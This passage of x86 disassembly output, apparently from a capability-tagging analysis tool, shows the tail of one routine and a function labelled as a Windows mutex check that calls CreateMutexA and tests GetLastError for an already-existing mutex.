mov eax, dword [eax]
mov dword [esi], eax
xor eax, eax
pop ebp
ret
push 0xfffffffffffffffc
pop eax
pop ebp
ret

Function at 0x10012d28
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x10012d66
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10012d64
push dword [ebp + 0xc]
push esi
call fcn.10012d69
pop ecx
pop ecx
test eax, eax
jns 0x10012d64
push esi
call dword [0x1002cdb8]
xor esi, esi
mov eax, esi
pop esi
pop ebp
ret